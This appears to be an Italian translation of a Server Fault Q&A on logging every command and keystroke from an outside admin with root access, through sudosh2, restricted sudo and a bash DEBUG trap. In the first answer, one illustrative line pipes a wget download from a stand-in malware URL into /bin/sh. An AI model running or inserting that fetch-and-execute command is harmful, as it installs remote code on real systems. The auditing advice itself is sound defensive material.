Registra tutti i comandi eseguiti da root


16

Voglio dare accesso al mio server principale a un amministratore di sistema esterno, ma voglio essere sicuro di ricontrollare ciò che sta facendo sul mio server, ad esempio copiando i dati che non voglio che facciano e così via. Vorrei anche tracciare qualsiasi file sia accessibile, anche in sola lettura e non modificato.

Come posso fare ciò?


1
Vedi questa domanda correlata: serverfault.com/questions/181131/… ?
Stefan Lasiewski,

Risposte:


21

Fidarsi ma verificare!

Dai un'occhiata a sudosh2 . sudosh2 è fornito dalle porte di FreeBSD. I pacchetti sono disponibili per RedHat e Ubuntu. Ecco la descrizione dal loro sito Web:

sudosh è un filtro della shell di controllo e può essere utilizzato come shell di accesso. Sudosh registra tutte le sequenze di tasti e l'output e può riprodurre la sessione come un videoregistratore.

Sudosh ti consentirà di riprodurre nuovamente la sessione dell'utente, che ti consentirà di vedere tutti gli input e output come l'utente ha visto. Vedi tutto, sequenze di tasti, errori di battitura, backspaces, in cosa sono stati modificati vi, l'output di wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh, ecc.

È possibile inviare i log di sudosh a syslog, in modo che possano essere memorizzati su un server syslog centrale lontano dal sistema.

Nota che sudosh2 è un sostituto di sudosh, che è stato abbandonato dal suo autore

Lavori in un istituto accademico in cui gli utenti insistono per avere privilegi da superutente? O lavori in un'azienda e desideri consentire agli utenti di disporre dei privilegi di superutente sulle proprie macchine virtuali? Questa potrebbe essere la soluzione per te.


1
Eccellente: in precedenza non avevo sentito parlare di sudosh.
EEAA

2
Di cosa parla questo "videoregistratore"?
Tom Marthenal,

2
È come un 8 tracce, ma puoi registrare i tuoi programmi televisivi!
Stefan Lasiewski,

22

Non dargli accesso root. Invece, dagli un account utente senza privilegi e richiedi che esegua tutto il suo lavoro sudo, che registrerà tutti i suoi comandi.

Tenete a mente che se questa persona ha cattive intenzioni e dargli i privilegi sudo, egli sarà trovare un modo per svolgere quelle cattive intenzioni, senza quei comandi essere registrati. In questo caso, concedergli solo l'accesso ai comandi specifici di cui ha bisogno per svolgere il suo lavoro.


Voglio renderlo il più difficile possibile senza rendere la mia vita un dolore. Grazie per la risposta.
Cedivad,

Puoi semplicemente eseguire sudo su -e avere una shell di root che non sarà registrata (tranne che l'hai avviata). Questo è ciò che normalmente scrivo quando voglio fare più di un singolo comando come root in una volta sola, o se voglio il completamento della scheda nelle directory che gli utenti normali non possono leggere.
rjmunro,

@rjmunro - Questo è esattamente il motivo per cui ho emesso l'avvertenza di dargli solo l'accesso specifico di cui ha bisogno. Puoi proibire esplicitamente sudo su -se lo desideri.
EEAA,

1

Non ho familiarità con sudosh2, ma ho inserito quanto segue nel mio .bashrcper registrare tutti i comandi digitati in una bashshell nel file ~/.command_log:

# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
    trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
 \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi

Quanto sopra imposta una trap DEBUG, che viene eseguita appena prima dell'esecuzione di un normale comando. Il callerbuilt-in viene utilizzato per verificare se il comando viene digitato in una shell interattiva o eseguito tramite qualcosa di simile .bashrc. Il valore ${BASH_COMMAND}contiene il comando attualmente in esecuzione.

Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.